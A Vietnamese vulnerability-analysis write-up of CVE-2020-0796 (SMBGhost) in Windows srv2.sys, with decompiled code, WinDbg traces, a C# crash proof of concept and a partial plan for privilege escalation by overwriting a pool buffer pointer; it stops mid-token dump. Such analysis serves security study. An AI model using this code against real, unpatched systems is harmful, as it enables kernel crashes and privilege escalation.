# CVE-2020-0796 ## 1. Overview - Trước khi đi vào phân tích mình muốn giới thiệu một chút về đối tượng phân tích đó chính là giao thức **SMB** của M$ trong Window. Có thể hiểu nó là chức chia sẽ tài liệu giữa server và máy client, lấy ví dụ đơn giản nhất đó là chức năng `Map Network Drive` : ![](https://hackmd.io/_uploads/rJ3gWWprh.png) - Ở đây mình đã có sẵn một server **SMB** nên mình sẽ connect tới thử : ![](https://hackmd.io/_uploads/B1N23WaH3.png) - Nhập mật khẩu và mình đã map thành công drive : ![](https://hackmd.io/_uploads/SkCJTZTr2.png) - Đây là target mà chúng ta sẽ đi phân tích. Và tiếp theo là phần lỗi tồn tại bên trong giao thức này, Lỗ hổng integer overflow trong quá trình ``Decompress data`` được Microsoft xác nhận vào ngày 12/03/2020. - Các phiên bản bị ảnh hưởng bao gồm : Windows 10 Version **1903** for 32-bit Systems Windows 10 Version **1903** for x64-based Systems Windows 10 Version **1903** for ARM64-based Systems Windows Server, version **1903** (Server Core installation) Windows 10 Version **1909** for 32-bit Systems Windows 10 Version **1909** for x64-based Systems Windows 10 Version **1909** for ARM64-based Systems Windows Server, version **1909** (Server Core installation) ## 2. Vulnerable - Lỗ hổng nằm bên trong `srv2.sys` ở hàm **Srv2DecompressData** : ![](https://hackmd.io/_uploads/rJkxJMTS3.png) - Trông hàm khá là ngắn, và để phân tích được thì mình sẽ trace xem chỗ nào sử dụng hàm này và đọc những tài liệu lên quan đến các packet được xử lí ra sao ([SMB Packet](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962)). Trước tiên là xem hàm nào refer tới nó: ![](https://hackmd.io/_uploads/BJFcJMpHn.png) - Mình Pick thử cái thứ 2 : ![](https://hackmd.io/_uploads/rJKblzaH3.png) - Đến đây mình thấy để rơi được vào nhánh có sử dụng tới **Srv2DecompressData** thì **v20 +....** phải có chuỗi byte là `'BMS\xFC'`, dựa vào dấu hiệu này mình kết hợp với tài liệu thông tin về packet của M$ mình vừa đề cập bên trên thì nó có kiểu dữ liệu như sau : ![](https://hackmd.io/_uploads/Syd1-zTr2.png) ![](https://hackmd.io/_uploads/ByulZz6B2.png) - Dựa vào đây mình có thể khôi phục lại được struct cho packet : ![](https://hackmd.io/_uploads/HJRU-GaHn.png) - Không vòng vo nữa mình tiến hành vào bên trong hàm có **vuln** để phân tích kết quả mình sửa được mã giả đã khá dễ nhìn : ```c __int64 __fastcall Srv2DecompressData(struct_v20 *a1) { struct_my_packet *my_packet; // rax struc_4 CompressionAlgorithm; // xmm0 int CompressionAlgorithm_Negotiate; // ebp struct_BufferFromPool *new_alloc; // rax struct_BufferFromPool *NewAllocation; // rbx ULONG v8; // eax SMB2_COMPRESSION_TRANSFORM_HEADER Input_SMBHeader; // [rsp+30h] [rbp-28h] ULONG NumberOfByte_Decompressed; // [rsp+60h] [rbp+8h] BYREF NumberOfByte_Decompressed = 0; my_packet = (struct_my_packet *)a1->my_packet; if ( my_packet->netbios_len < 16u ) return 0xC000090Bi64; Input_SMBHeader = *my_packet->SMBHeader; CompressionAlgorithm = (struc_4)_mm_srli_si128((__m128i)Input_SMBHeader, 8);// Input_SMBHeader.CompressionAlgorithm CompressionAlgorithm_Negotiate = a1->client->info->CompressionAlgorithm;// info from Negotiate if ( CompressionAlgorithm_Negotiate != CompressionAlgorithm.CompressionAlgorithm ) return 0xC00000BBi64; new_alloc = SrvNetAllocateBuffer( Input_SMBHeader.OriginalCompressedSegmentSize + CompressionAlgorithm.offset_or_length, 0i64); NewAllocation = new_alloc; if ( !new_alloc ) return 0xC000009Ai64; if ( (int)SmbCompressionDecompress( CompressionAlgorithm_Negotiate, (UCHAR *)(*(_QWORD *)&a1->my_packet->SMBHeader.ProtocolId + Input_SMBHeader.offset_or_length + 16i64), a1->my_packet->SMBHeader.offset_or_length - Input_SMBHeader.offset_or_length - 16, &new_alloc->Buffer[Input_SMBHeader.offset_or_length], Input_SMBHeader.OriginalCompressedSegmentSize,// 0xFFFFFFFF &NumberOfByte_Decompressed) < 0 || (v8 = NumberOfByte_Decompressed, NumberOfByte_Decompressed != Input_SMBHeader.OriginalCompressedSegmentSize) ) { SrvNetFreeBuffer(NewAllocation); return 0xC000090Bi64; } if ( Input_SMBHeader.offset_or_length ) { memmove( NewAllocation->Buffer, (const void *)(*(_QWORD *)&a1->my_packet->SMBHeader.ProtocolId + 16i64), Input_SMBHeader.offset_or_length); v8 = NumberOfByte_Decompressed; } NewAllocation->dword24 = Input_SMBHeader.offset_or_length + v8; Srv2ReplaceReceiveBuffer((__int64)a1, (__int64)NewAllocation); return 0i64; } ``` - Theo như các bài phân tích mình đã tham khảo thì BUG gói gọn trong những hàm sau : ```c __int64 __fastcall Srv2DecompressData(struct_v20 *a1) { new_alloc = SrvNetAllocateBuffer( Input_SMBHeader.OriginalCompressedSegmentSize + CompressionAlgorithm.offset_or_length, 0i64); NewAllocation = new_alloc; ... if ( (int)SmbCompressionDecompress(/*use of new_alloc*/) < 0 || (v8 = NumberOfByte_Decompressed, NumberOfByte_Decompressed != Input_SMBHeader.OriginalCompressedSegmentSize) ) { ... } if ( Input_SMBHeader.offset_or_length ) { memmove( NewAllocation->Buffer, (const void *)(*(_QWORD *)&a1->my_packet->SMBHeader.ProtocolId + 16i64), Input_SMBHeader.offset_or_length); v8 = NumberOfByte_Decompressed; } .... } ``` - Data mình có thể control được sẽ bao gồm là cả **Input_SMBHeader**: ```asm= .text:FFFFF8007D707EC8 48 8B 44 24 30 mov rax, qword ptr [rsp+58h+Input_SMBHeader.ProtocolId] .text:FFFFF8007D707ECD 33 D2 xor edx, edx ; _QWORD .text:FFFFF8007D707ECF 48 C1 E8 20 shr rax, 20h .text:FFFFF8007D707ED3 48 C1 E9 20 shr rcx, 20h .text:FFFFF8007D707ED7 03 C8 add ecx, eax ; _QWORD .text:FFFFF8007D707ED9 48 FF 15 48 9A 02 00 call cs:__imp_SrvNetAllocateBuffer ``` - Ở đây trường **Input_SMBHeader.OriginalCompressedSegmentSize** có thể bình thường còn trường **CompressionAlgorithm.offset_or_length** sẽ là một số rất lớn (0xFFFFFFFF chả hạn) hoặc ngược lại thì sẽ gây ra lỗi interger overflow nếu hai trường này được cộng vào nhau và sử dụng cho hàm `__imp_SrvNetAllocateBuffer` ## 2.1 POC to BSoD - Trong các bài viết cũng có nhắc tới [WindowsProtocolTestSuites](https://github.com/microsoft/WindowsProtocolTestSuites/) có thể được sử dụng để test thử các packet gửi đi, mình cũng tiến hành clone về và dựa vào các hàm đã có sẵn từ trước bên trong testsuit để viết một poc nhỏ trigger được bug. ```csharp= using Microsoft.Protocols.TestSuites.FileSharing.Common.Adapter; using Microsoft.Protocols.TestSuites.FileSharing.Common.TestSuite; using Microsoft.Protocols.TestSuites.FileSharing.SMB2.Adapter; using Microsoft.Protocols.TestTools.StackSdk.Dtyp; using Microsoft.Protocols.TestTools; using Microsoft.Protocols.TestTools.StackSdk; using Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2; using Microsoft.VisualStudio.TestTools.UnitTesting; using System; using System.Text; using System.Threading; using System.Text.RegularExpressions; using System.Net; using Microsoft.VisualStudio.TestPlatform.ObjectModel.DataCollection; using Microsoft.Protocols.TestTools.StackSdk.Security.SspiService; using static Microsoft.Protocols.TestTools.StackSdk.Security.KerberosLib.KerberosConstValue; using Microsoft.Protocols.TestTools.StackSdk.Security.SspiLib; class Program { public static ulong messageid = 0; public static ulong sessionid = 0; public static void Main() { Console.WriteLine("Hello Smb trigger crash"); Smb2Client client = new Smb2Client(new TimeSpan(0,0,5000)); client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }; client.ConnectOverTCP(IPAddress.Parse("127.0.0.1")); uint status; Smb2NegotiateRequestPacket negotiateRequest; Smb2NegotiateResponsePacket negotiateResponse; byte[] gsstoken; DialectRevision selectedDialect; client.Negotiate( 1, 1, Packet_Header_Flags_Values.NONE, messageid++, new DialectRevision[] { DialectRevision.Smb311 }, SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED, Capabilities_Values.NONE, Guid.NewGuid(), out selectedDialect, out gsstoken, out negotiateRequest, out negotiateResponse, 0, new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 }, new EncryptionAlgorithm[] { EncryptionAlgorithm.ENCRYPTION_AES128_CCM} new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 } ); SspiClientSecurityContext sspiClientGss = new SspiClientSecurityContext( SecurityPackageType.Negotiate, new AccountCredential("", "test", "test"), Smb2Utility.GetCifsServicePrincipalName(""), ClientSecurityContextAttribute.None, SecurityTargetDataRepresentation.SecurityNativeDrep); sspiClientGss.Initialize(gsstoken); Packet_Header packetheader; SESSION_SETUP_Response sessionSetupResponse; client.SessionSetup( 1, 1, Packet_Header_Flags_Values.NONE, messageid++, sessionid++, SESSION_SETUP_Request_Flags.NONE, SESSION_SETUP_Request_SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED, SESSION_SETUP_Request_Capabilities_Values.GLOBAL_CAP_DFS, 0, sspiClientGss.Token, out sessionid, out gsstoken, out packetheader, out sessionSetupResponse ); client.CompressionInfo.CompressAllPackets = true; TREE_CONNECT_Response treeConnectResp; string uncSharePath = Smb2Utility.GetUncPath("ajomix", "test");/* ---> "\\ajomix\test" */ Console.WriteLine( uncSharePath ); uint treeId; // Crash!! client.TreeConnect( 1, 1, Packet_Header_Flags_Values.NONE, messageid++, sessionid++, uncSharePath, out treeId, out packetheader, out treeConnectResp ); } } ``` - vì là lỗi ở phần Decompress nên tiếp đến là mình sẽ sửa trực tiếp sửa hàm Compress như sau: ```csharp= //WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs public static ulong count = 0; public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role) { count++; if (count == 3) { var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role); if (compressionAlgorithm == CompressionAlgorithm.NONE) { return packet; } var packetBytes = packet.ToBytes(); var compressor = GetCompressor(compressionAlgorithm); // crashhhh offset!! uint offset = 0xffffffff; if (compressionInfo.CompressBufferOnly) { offset = (packet as IPacketBuffer).BufferOffset; } var compressedPacket = new Smb2NonChainedCompressedPacket(); compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader; compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length; compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm; compressedPacket.Header.Flags = Compression_Transform_Header_Flags.SMB2_COMPRESSION_FLAG_NONE; compressedPacket.Header.Offset = offset; compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray(); compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray()); compressedPacket.OriginalPacket = packet; return compressedPacket; } Smb2Packet compressed; if (compressionInfo.SupportChainedCompression) { compressed = CompressForChained(packet, compressionInfo, role); } else { compressed = CompressForNonChained(packet, compressionInfo, role); } if (compressed == packet) { return packet; } var originalBytes = packet.ToBytes(); var compressedBytes = compressed.ToBytes(); if (compressedBytes.Length < originalBytes.Length) { return compressed; } else { return packet; } } ``` - Trước khi test thử suit bên trên, mình sẽ giải thích một số cách thức hoạt động của giao thức SMB này lúc nó hoạt động. Để có cái nhìn trực quan thì mình cử thử bật wireshark lên và connect lại đến server localhost và theo dõi packet xem các packet cần gửi sẽ như thế nào nhé : ![](https://hackmd.io/_uploads/rJ5YZm6Bn.png) - sau khi thử connect: ![](https://hackmd.io/_uploads/Syl2WQpBh.png) - Để tóm gọn thì có thể nói như sau : - Client gửi tới server các thông tin cần thiết (`Negotiate`) về các thông tin sẽ được sử dụng sẽ là **CompressAlgorithm**,**Hash**.... - Sau khi server chấp thuận Client, lúc này Client có quyền yêu cầu một session và share dữ liệu từ server (File,Folder...). Lúc này server sẽ nén (CompressData) và gửi lại cho phía Client Decompress và ngược lại. Mà như đã bàn ở bên trên bước `Decompress` này sẽ bị crash vì bug. - Và mọi request trên đều là TCP (socket) ## 2.2 StackTrace - Đã rõ cách thức hoạt động, giờ mình sẽ thử chạy POC nhỏ bên trên và xem stacktrace xem chương trình sẽ bị crash ở context nào : ![](https://hackmd.io/_uploads/By6gnXpH2.png) - Vậy là để dẫn tới chương trình bị lỗi trong quá trình **Decompress** thì flow sẽ như ảnh bên trên. ![](https://hackmd.io/_uploads/rJL4lNpr2.png) ## 2.3 Key to Crash - Như đã nói ở bên trên, chương trình sẽ bị interger overflow khi call đến `SrvNetAllocateBuffer` : ![](https://hackmd.io/_uploads/Hy53eE6H2.png) - Mình sẻ thử DEBUG để xem thử quá trình overflow này ra sao và cấu trúc của vùng nhớ được cấp phát bởi `SrvNetAllocateBuffer` , mình sẽ đặt debug tại đây và chạy lại lần nữa POC Mini: ![](https://hackmd.io/_uploads/rksmoa6S2.png) - Lúc này 2 offset và originalSegment chuẩn bị được cộng : ![](https://hackmd.io/_uploads/SygPe0pB2.png) - Thanh ghi ecx và eax : ```windbg 1: kd> r ecx,eax ecx=ffffffff eax=62 ``` - Sau khi cộng : ```windbg 1: kd> p srv2!Srv2DecompressData+0x79: fffff800`34617ed9 4c8b15489a0200 mov r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff800`34641928)] 1: kd> r ecx,eax ecx=61 eax=62 // SrvNetAllocateBuffer(rcx,0i64) ``` - Do ``offset_or_length=0xffffffff`` lúc này chạy tiếp xuống bên dưới sẽ là quá trình Decompress và Decompress thì sẽ Decompress buffer tại `SMBHeaderPacket + SIZE_OF_SMBHeader + offset`,vì vậy lúc này offset quá lớn (0xffffffff) nên sẽ làm driver decompress data ở vùng nhớ không có quyền access và kết quả là làm chương trình bị crash: ```c /*SmbCompressionDecompress(int CompressionAlgorithm, UCHAR *CompressedBuffer, ULONG CompressedBufferSize, UCHAR *UncompressedBuffer, ULONG UncompressedBufferSize, ULONG *FinalUncompressedSize)*/ SmbCompressionDecompress( CompressionAlgorithm_Negotiate, (UCHAR *)(*(_QWORD *)&a1->my_packet->SMBHeader.ProtocolId + Input_SMBHeader.offset_or_length + SIZE_OF_SMBHeader), a1->my_packet->SMBHeader.offset_or_length - Input_SMBHeader.offset_or_length - 16, &new_alloc->Buffer[Input_SMBHeader.offset_or_length], Input_SMBHeader.OriginalCompressedSegmentSize, &NumberOfByte_Decompressed) ``` - Khi data được decompress ra sẽ được lưu trữ tại vùng nhớ đã được cấp phát bên trên (SrvNetAllocateBuffer), Quá trình Decompress : ``` 1: kd> srv2!Srv2DecompressData+0xdc: fffff800`34617f3c e89f60af00 call srvnet!SmbCompressionDecompress (fffff800`3510dfe0) 1: kd> r rdx ==> rdx = SMBHeaderPacket + SIZE_OF_SMBHeader + offset rdx=ffff808fb8bf2e1f 1: kd> dq ffff808fb8bf2e1f ffff808f`b8bf2e1f ????????`???????? ????????`???????? ffff808f`b8bf2e2f ????????`???????? ????????`???????? ffff808f`b8bf2e3f ????????`???????? ????????`???????? ffff808f`b8bf2e4f ????????`???????? ????????`???????? ffff808f`b8bf2e5f ????????`???????? ????????`???????? ffff808f`b8bf2e6f ????????`???????? ????????`???????? ffff808f`b8bf2e7f ????????`???????? ????????`???????? ffff808f`b8bf2e8f ????????`???????? ????????`???????? ``` - Các input của chúng ta nó sẽ được biểu diễn như sau : ```c +-----------------------------------------------------+ | ProtocolID=0x424D53FC | 4 BYTE +-----------------------------------------------------+ | OriginalCompressedSegmentSize=0x62 | 4 BYTE +-----------------------------------------------------+ | CompressionAlgorithm=0x2 | Flags | 4 BYTE +-----------------------------------------------------+ | Offset=0xffffffff | 4 BYTE +-----------------------------------------------------+ | Compressed Data=............ | +-----------------------------------------------------+ // vậy offset cần phải là 0 thì lúc này data sẽ decompress đúng ``` - Wireshark : ![](https://hackmd.io/_uploads/rkQiORaHh.png) ## 2.4 Bug flow ### Alloc Buffer Struct - Như đã phân tích bên trên trường ``CompressionAlgorithm`` và `Offset` là 2 trường sẽ được cộng vào nhau trong lúc phân vùng nhớ, và 2 trường này chúng ta hoàn toàn có thể control được vì đây là input chúng ta truyền vào. ```c +----------------------+ | Allocated | // Tạo ra 1 vùng nhớ không đủ lớn +----------------------+ | +----------------------------------------+ | Decompress and saved in &Allocated+0x18| // Decompress xong sẽ gây ra overflow +----------------------------------------+ | +------------------------------------------+ | memove(&Allocated+0x18,data,offset) | // Exploit!!!! +------------------------------------------+ ``` - Ngay tại bước thứ hai sau khi Decompress chương trình lại save tại ``&Allocated+0x18`` mà không phải là save tại ``Allocated``. Như vậy chắc chắn là lúc sử dụng hàm ``SrvNetAllocateBuffer`` nó không chỉ trả lại một vùng nhớ bình thường mà nó sẽ có cấu trúc riêng. Mình tiến hành tìm tới hàm `SrvNetAllocateBuffer` để đọc: - Mình import struct tự generate phia bên `srv2.sys` của vùng nhớ đã được phân vào ``srvnet.sys`` để phân tích, trước tiên struct trông như sau : ```c struct __unaligned __declspec(align(1)) struct_BufferFromPool { struct _SLIST_ENTRY slist_entry0; _WORD word10; _WORD word12; _WORD word14; _WORD word16; UCHAR *Buffer; _DWORD dword20; _DWORD dword24; _BYTE gap28[60]; char char64; }; ``` - Sau khi import thì hàm `SrvNetAllocateBuffer` sẽ như sau : ```c struct_BufferFromPool *__fastcall SrvNetAllocateBuffer(unsigned __int64 a1, struct_BufferFromPool *a2) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] ... if ( SrvDisableNetBufferLookAsideList || a1 > 0x100100 ) { if ( a1 > 0x1000100 ) return 0i64; BufferFromPool = (struct_BufferFromPool *)SrvNetAllocateBufferFromPool(a1, a1); } else { if ( a1 > 0x1100 ) { .... } v6 = (struct_BufferFromPool *)SrvNetBufferLookasides[v3]; v7 = LODWORD(v6->slist_entry0.Next) - 1; if ( (unsigned int)(unsigned __int16)LockArray_high + 1 < LODWORD(v6->slist_entry0.Next) ) v7 = (unsigned __int16)LockArray_high + 1; v8 = v7; v9 = *(_QWORD *)&v6->dword20; v10 = *(struct_v10 **)(v9 + 8 * v8); if ( !v10->byte70 ) PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8)); ++v10->dword14; BufferFromPool = (struct_BufferFromPool *)ExpInterlockedPopEntrySList(&v10->slist_header0); if ( !BufferFromPool ) { .... } v5 = 2; } .... return BufferFromPool; } ``` - Mình thử vừa debug và vừa đoán thì thấy rằng khi chúng ta yêu cầu một vùng nhớ nhỏ hơn **0x1100** thì chương trình sẽ lấy một vùng đã tạo sẵn ở trong **SrvNetBufferLookasides** và có size là **0x1100**, tương tự lớn hơn thì sẽ lấy những vùng có size lớn hơn. - Mình thử DEBUG để xem **SrvNetBufferLookasides** sẽ có những vùng nhớ cấu trúc ra sao và độ lớn... : ![](https://hackmd.io/_uploads/Bk3FVkAB2.png) ``` 1: kd> r rcx rcx=fffff8074db250f0 1: kd> dq rcx fffff807`4db250f0 ffffda08`be08ec00 ffffda08`be08ea40 fffff807`4db25100 ffffda08`be08e780 ffffda08`be08edc0 fffff807`4db25110 ffffda08`be08ec80 ffffda08`be08e4c0 fffff807`4db25120 ffffda08`be08e540 ffffda08`be08e700 fffff807`4db25130 ffffda08`be08ee40 00000000`000a0008 fffff807`4db25140 fffff807`4db17be8 00000000`00000000 fffff807`4db25150 00000000`000000e0 00000000`00000000 fffff807`4db25160 00000000`00000000 00000000`00000000 ``` - Mình thử xem từng vùng nhớ và nhận ra rằng vùng nhớ được phân này sẽ có một header phía bên trên chứa size của vùng nhớ hoặc các thông tin gì đó. Mình sẽ thử lấy ví dụ 4 vùng nhớ : ``` 1: kd> dq ffffda08`be08ec00 ffffda08`be08ec00 00000000`00000003 6662534c`3030534c ffffda08`be08ec10 00000000`00001100 00000000`00000200 ffffda08`be08ec20 ffffda08`c1b0d080 00000000`00000000 ffffda08`be08ec30 00000000`00000000 00000000`00000000 ffffda08`be08ec40 00000000`38478d48 00000006`00000009 ffffda08`be08ec50 00000004`00000009 04100045`00000004 ffffda08`be08ec60 8d4c0000`00000000 89480851`8948f045 ffffda08`be08ec70 6662534c`02090800 40394cf8`558b48f0 1: kd> dq ffffda08`be08ea40 ffffda08`be08ea40 00000000`00000003 6662534c`3030534c ffffda08`be08ea50 00000000`00002100 00000000`00000200 ffffda08`be08ea60 ffffda08`c1b0d380 00000000`00000000 ffffda08`be08ea70 00000000`00000000 00000000`00000000 ffffda08`be08ea80 ffffda08`be099a80 ffffc301`0b198db0 ffffda08`be08ea90 00000000`cccccccc 00000007`0000000c ffffda08`be08eaa0 00000004`00000008 07f00079`00000004 ffffda08`be08eab0 0d750000`00000000 5e8d2c41`8bf63300 1: kd> dq ffffda08`be08e780 ffffda08`be08e780 00000000`00000003 6662534c`3030534c ffffda08`be08e790 00000000`00004100 00000000`00000200 ffffda08`be08e7a0 ffffda08`c1b0d400 00000000`00000000 ffffda08`be08e7b0 00000000`00000000 00000000`00000000 ffffda08`be08e7c0 00000000`000d7884 0000000a`0000000c ffffda08`be08e7d0 00000004`0000000c 0ae00043`00000004 ffffda08`be08e7e0 950f0000`00000000 c0856605`75d284c0 ffffda08`be08e7f0 2532534c`02093700 89c3b60f`0000000a 1: kd> dq ffffda08`be08edc0 ffffda08`be08edc0 00000000`00000003 6662534c`3030534c ffffda08`be08edd0 00000000`00008100 00000000`00000200 ffffda08`be08ede0 ffffda08`c1b0cec0 00000000`00000000 ffffda08`be08edf0 00000000`00000000 00000000`00000000 ffffda08`be08ee00 00000004`0000000c 04900045`00000004 ffffda08`be08ee10 0fd70000`00000000 7a462d8d`4c4841b7 ffffda08`be08ee20 6662534c`02090000 c0856605`75d284c0 ffffda08`be08ee30 6662534c`06080001 00000000`00000000 ``` - Các vùng nhớ mình để ý nó chỉ khác nhau mỗi ``0x0001100,0x0002100,0x0004100...`` tăng dần, mình đoán đây là size của các vùng nhớ có sẵn vì mình cũng có đề cập đến đoạn size lúc alloc được so sánh với **0x1100,0x100100**..., để chắc chắn mình tìm đến hàm đã tạo ra những Header có sẵn này : ![](https://hackmd.io/_uploads/Sy35UkCS2.png) - Trông cũng khá ngắn : ```c __int64 SrvNetCreateBufferLookasides() { __int64 *v0; // rdi int v1; // r8d int v2; // r9d unsigned int v3; // ebx __int64 LookasideList; // rax int v6; // [rsp+30h] [rbp-18h] v0 = SrvNetBufferLookasides; memset(SrvNetBufferLookasides, 0, sizeof(SrvNetBufferLookasides)); v3 = 0; while ( 1 ) { LookasideList = PplCreateLookasideList( (int)SrvNetBufferLookasideAllocate, (int)SrvNetBufferLookasideFree, v1, v2, (1 << (v3 + 12)) + 256, '00SL', v6, 'fbSL'); *v0 = LookasideList; if ( !LookasideList ) break; ++v3; ++v0; if ( v3 >= 9 ) return 0i64; } SrvNetDeleteBufferLookasides(); return 3221225626i64; } ``` - Tham khảo các bài viết khác thì mình biết được size được tạo ra ở đoạn sau : `(1 << (v3 + 12)) + 256` - v3 sẽ tăng từ 0->9 và đây là code python : ```python >>> for i in range(10): ... print(hex((1 << (i + 12)) + 256),end=",") ... 0x1100,0x2100,0x4100,0x8100,0x10100,0x20100,0x40100,0x80100,0x100100,0x200100, ``` - Tiếp theo sau khi đã alloc xong mình xem lại data một lần nữa : ![](https://hackmd.io/_uploads/SJ6DdyArn.png) - Vùng nhớ : ``` 1: kd> dq rax ffffda08`c056e150 00000000`00000000 00490046`00490054 ffffda08`c056e160 00000001`00000002 ffffda08`c056d050 ffffda08`c056e170 00000000`00001100 00200079`00001278 ffffda08`c056e180 ffffda08`c056d000 ffffda08`c056e1e0 ffffda08`c056e190 00200036`00000000 00000000`00000000 ffffda08`c056e1a0 ffffda08`c056e228 00000000`00000000 ffffda08`c056e1b0 00680074`00000000 00690074`006e0065 ffffda08`c056e1c0 0044004d`00410063 004f0052`00500000 ``` - Như đã nói thì **0x1100** sẽ là size, còn lúc save data thì lại thấy chương trình save tại `ffffda08c056e178`, vậy nên chúng ta khôi phục được một trường quan trọng nữa đó là size : ```c struct __unaligned __declspec(align(1)) struct_BufferFromPool // at address : ffffda08c056e150 { struct _SLIST_ENTRY slist_entry0; _WORD word10; _WORD word12; _WORD word14; _WORD word16; UCHAR *Buffer; //ffffda08`c056d050 --> SMBheader ??? _DWORD Size; //0x1100 _DWORD dword24; _BYTE gap28[60]; char char64; }; ``` ## 3. How to Exploit - Struct flow : ``` struct_BufferFromPool +------------------------------+ | Some Data Header | +------------------------------+ | Pointer point to Allocated* | // Buffer +------------------------------+ | Size | +------------------------------+ | ..... | +------------------------------+ ``` - Mà mình lại thấy rằng `Buffer` lại đang trỏ đến vùng nhớ ở phía bên trên của struct này. Hay nói cách khác : ``` Buffer +------------------------------+ | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<-------------- +------------------------------+ | | struct_BufferFromPool | +------------------------------+ | | Some Data Header | | +------------------------------+ | | Pointer point to Allocated* | // Buffer----- +------------------------------+ | Size | +------------------------------+ | ..... | +------------------------------+ ``` - Vậy nếu như chúng ta có thể ghi đè hết **struct_BufferFromPool** và ghi sao cho **Buffer** trỏ tới một vùng nhớ mà chúng ta muốn sau đó thì chương trình sẽ chạy tới đoạn **memmove**: ```c if ( Input_SMBHeader.offset_or_length ) { memmove( NewAllocation->Buffer,//token of Process (const void *)(*(_QWORD *)&a1->my_packet->SMBHeader.ProtocolId + SIZE_OF_SMB_HEADER), Input_SMBHeader.offset_or_length); v8 = NumberOfByte_Decompressed; } ``` ## 3.1 Condition to go to final LPE exploitation - Vậy là chúng ta đã xong phần cấu trúc của vùng nhớ muốn ghi đè, nhưng muốn đến được phần cuối cùng là **memove** như trên thì có một điều kiện nữa cũng đang cản trở chúng ta, nó ở đoạn code sau : ```c if ( (int)SmbCompressionDecompress(....,Input_SMBHeader.OriginalCompressedSegmentSize, &NumberOfByte_Decompressed) < 0 || (v8 = NumberOfByte_Decompressed, NumberOfByte_Decompressed != Input_SMBHeader.OriginalCompressedSegmentSize) ) // bypass { SrvNetFreeBuffer(NewAllocation); return 0xC000090Bi64; } if ( Input_SMBHeader.offset_or_length ) { /* memmove stuff */ } ``` ### SmbCompressionDecompress - Muốn bypass qua thì điều kiện cần là : `NumberOfByte_Decompressed == Input_SMBHeader.OriginalCompressedSegmentSize` - Vậy thì công việc tiếp theo của chúng ta là sẽ phải phân tích **SmbCompressionDecompress**: ```c __int64 __fastcall SmbCompressionDecompress( int CompressionAlgorithm, UCHAR *CompressedBuffer, ULONG CompressedBufferSize, UCHAR *allocated_space, ULONG allocated_sz, ULONG *FinalUncompressedSize) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] CompressFragmentWorkSpaceSize[0] = 0; PoolWithTag = 0i64; CompressBufferWorkSpaceSize = 0; if ( !CompressionAlgorithm ) return 0xC00000BB; v11 = CompressionAlgorithm - 1; if ( v11 ) { v12 = v11 - 1; if ( v12 ) { if ( v12 != 1 ) return 0xC00000BB; v13 = 4; } else { v13 = 3; } } else { v13 = 2; } if ( RtlGetCompressionWorkSpaceSize(v13, &CompressBufferWorkSpaceSize, (PULONG)CompressFragmentWorkSpaceSize) < 0 || (PoolWithTag = ExAllocatePoolWithTag((POOL_TYPE)512, CompressBufferWorkSpaceSize, '%2SL')) != 0i64 ) { pFinalUncompressedSize = FinalUncompressedSize; v17 = CompressedBufferSize; NumberOfByte_Decompressed = allocated_sz; status = RtlDecompressBufferEx2( v13, allocated_space, allocated_sz, CompressedBuffer, v17, 4096, FinalUncompressedSize, PoolWithTag, CompressFragmentWorkSpaceSize[0]); /*Solution...*/ if ( status >= 0 ) *pFinalUncompressedSize = NumberOfByte_Decompressed; if ( PoolWithTag ) ExFreePoolWithTag(PoolWithTag, 0x2532534Cu); } else { return (unsigned int)-1073741670; } return (unsigned int)status; } ``` - Nếu chúng ta Decompress được thành công thì `*pFinalUncompressedSize = NumberOfByte_Decompressed` hay nói cách khác là chỉ cần chúng ta Decompress thành công thì mọi thứ sẽ diễn ra thuận lợi. - Và để từ việc Decompress được data đúng chúng ta cũng cần phải biết được data được Decompress theo kiểu nào để từ đó có thể Compress được đúng dạng. Như ở đây có sử dụng tới hàm **RtlDecompressBufferEx2** và Field đầu tiên của hàm là ``CompressionAlgorithm (v3 in IDA)``, và mình sẽ sử dụng kiểu compress là **LZ77** hay còn nói cách khác lúc này ``CompressionAlgorithm=2``, khi qua các đoạn xử lí thì lúc này `v3=3`. ![](https://hackmd.io/_uploads/rkQiORaHh.png) - Tìm Docs với hàm [RtlDecompressBufferEx2](https://https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-rtldecompressbufferex2) : ![](https://hackmd.io/_uploads/rJPlXcCr3.png) - Vậy lúc này `v3=COMPRESSION_FORMAT_XPRESS`, hay nói cách khác bây giờ chúng ta chỉ việc nén **payload** (``RtlCompressBuffer``) lại thẹo kiểu `COMPRESSION_FORMAT_XPRESS` rồi sau đó để cho driver decompress. ## 3.2 Summary - Sau đây mình sẽ đi chi tiết hơn bằng hình ảnh để có thể hiểu rõ được cách mình có thể thực hiện được LPE. - Kế hoạch sẽ là ghi đè được con trỏ `Buffer` sau khi đã alloc, vậy nên mình sẽ phải đi ngược lại của quá trình sau : ```c +----------------------+ | Allocated | // Tạo ra 1 vùng nhớ không đủ lớn +----------------------+ | +-------------------------------------------+ | Decompress and saved in BufferPool->Buffer| // Decompress xong sẽ gây ra overflow +-------------------------------------------+ | +----------------------------------------------+ | memove(BufferPool->Buffer,data,offset) | // Exploit!!!! +----------------------------------------------+ ``` - Đây là token của System: ```c 0: kd> dt _token ffffaa01`2bc062f0 nt!_TOKEN +0x000 TokenSource : _TOKEN_SOURCE +0x010 